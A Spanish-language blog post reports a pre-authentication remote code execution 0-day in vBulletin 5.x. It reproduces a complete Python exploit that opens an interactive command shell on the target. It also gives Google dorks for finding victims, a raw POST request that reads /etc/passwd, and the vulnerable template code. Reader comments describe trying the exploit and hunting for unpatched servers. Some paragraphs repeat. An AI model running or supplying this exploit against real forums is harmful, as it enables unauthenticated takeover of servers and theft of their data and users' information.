Hace tan sólo unas horas un usuario anónimo publicaba en Full Disclosure un 0-day que permite la ejecución remota de código (RCE) en vBulletin y que afecta desde la versión 5.0.0 hasta la última 5.5.4.
Y lo más reseñable es explotable de forma remota y ¡NO requiere autenticación!
La vulnerabilidad reside en la forma en la que un widget interno acepta configuraciones a través de parámetros en la URL y luego las analiza en el servidor sin las comprobaciones de seguridad adecuadas, lo que permite a cualquier atacante inyectar comandos y ejecutar código de forma remota en el sistema.
Fijaros en el siguiente script en python:
Parece increíble, pero si lanzamos este sencillo script podremos ejecutar cualquier comando en el sistema vulnerable:
Así de simple, una petición POST y a correr:
Recordemos que vBulletin es uno de los softwares de foros de Internet más utilizados, quizás el más popular... así que imaginaros la cantidad de sitios y usuarios que pueden verse afectados, sin posibilidad de parche todavía, si acaso con la única protección de un WAF...
Y lo más reseñable es explotable de forma remota y ¡NO requiere autenticación!
La vulnerabilidad reside en la forma en la que un widget interno acepta configuraciones a través de parámetros en la URL y luego las analiza en el servidor sin las comprobaciones de seguridad adecuadas, lo que permite a cualquier atacante inyectar comandos y ejecutar código de forma remota en el sistema.
Fijaros en el siguiente script en python:
#!/usr/bin/python
#
# vBulletin 5.x 0day pre-auth RCE exploit
#
# This should work on all versions from 5.0.0 till 5.5.4
#
# Google Dorks:
# - site:*.vbulletin.net
# - "Powered by vBulletin Version 5.5.4"
import requests
import sys
if len(sys.argv) != 2:
sys.exit("Usage: %s <URL to vBulletin>" % sys.argv[0])
params = {"routestring":"ajax/render/widget_php"}
while True:
try:
cmd = raw_input("vBulletin$ ")
params["widgetConfig[code]"] = "echo shell_exec('"+cmd+"'); exit;"
r = requests.post(url = sys.argv[1], data = params)
if r.status_code == 200:
print r.text
else:
sys.exit("Exploit failed! :(")
except KeyboardInterrupt:
sys.exit("\nClosing shell...")
except Exception, e:
sys.exit(str(e))
Parece increíble, pero si lanzamos este sencillo script podremos ejecutar cualquier comando en el sistema vulnerable:
$ python vbulletin0-day-1909.py https://url/
vBulletin$ whoami
www-data
vBulletin$
Así de simple, una petición POST y a correr:
POST / HTTP/1.1
Host: sitiovulnerable.inet
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.22.0
Content-Length: 102
Content-Type: application/x-www-form-urlencoded
routestring=ajax/render/widget_php&widgetConfig[code]=echo shell_exec('cat /etc/passwd'); exit;
Recordemos que vBulletin es uno de los softwares de foros de Internet más utilizados, quizás el más popular... así que imaginaros la cantidad de sitios y usuarios que pueden verse afectados, sin posibilidad de parche todavía, si acaso con la única protección de un WAF...
<vb:if condition="!empty($widgetConfig['code']) AND !$vboptions['disable_php_rendering']">
{vb:action evaledPHP, bbcode, evalCode, {vb:raw widgetConfig.code}}
{vb:raw $evaledPHP}
<vb:else />
<vb:if condition="$user['can_use_sitebuilder']">
<span class="note">{vb:phrase click_edit_to_config_module}</span>
</vb:if>
</vb:if>
probandolo recibo esta respues de la shell: {"template":"","css_links":[]}
ResponderEliminarno logro ubicar que es?
Lo mismo paso quando yo probandolo.
ResponderEliminarsi la respuesta es esa entonces es que el servidor contra el que estais probando no es vulnerable....
ResponderEliminarAlguien encontro algo? me parece que los parchearon bastante rápido ya que aun no logro encontrar ninguno.
ResponderEliminar